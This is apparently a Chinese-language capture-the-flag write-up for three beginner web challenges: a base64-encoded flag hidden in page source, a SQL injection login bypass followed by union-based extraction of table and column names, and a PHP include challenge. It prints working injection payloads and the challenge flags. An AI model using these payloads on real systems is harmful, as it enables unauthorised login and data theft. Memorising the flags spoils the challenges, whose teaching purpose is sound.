web签到题

右击查看源码--> 

 

 ZmxhZ3szYTIzYzU5OC0zOTIzLTQzMjQtYjlhMi1hZGYzNmM5MGEyZWR9

  base64解密即可

web2-最简单的sql注入

账号登录框中输入 

' or 1=1 # 

  

密码登录框随意  

原理

 登录框执行的sql语句  

union select username,password from user where username = '$username' and password ='$password'

当输入的用户名、密码写进去,放入数据库执行成功,有结果返回,说明账号密码正确。  要是构造  

' or 1=1 # ,则执行
union select username,password from user where username = ' 'or 1=1 # ' and password ='$password'

单引号闭合查询语句,# 将后面的东西注释掉。  查询的username为空,就返回了user表下的所有内容。 也就有数据返回,查询成功,则登陆成功。

 

接下来用联合查询完成注入。

首先直接用 

-1' union select 1,2,3 #

 判断出当前表有 三个字段。 同时判断出回显点为第二个字段。

 

-1' union select 1,database(),3 #

 

查到库名  web2

 

继续查表名。

-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() #

两个表  user、flag 

 

查flag表下的字段

-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag' #

就flag 一个。

查flag

-1' union select 1,flag,3 from flag #

 

      

 

 

 

 

结果为  flag{1d24a843-033a-448b-92f7-b5a407cdde5f}    

web3   跟简单的web题目

先放payload

 

 

 

 flag{35db827d-9085-4226-90be-1db9dc3f7259}

 

原理

include 函数是调用一个文件,并当作php文件执行。  在开发中,用于减少重复代码的冗余,把重复代码单独放在一个文件中,再通过include函数调用。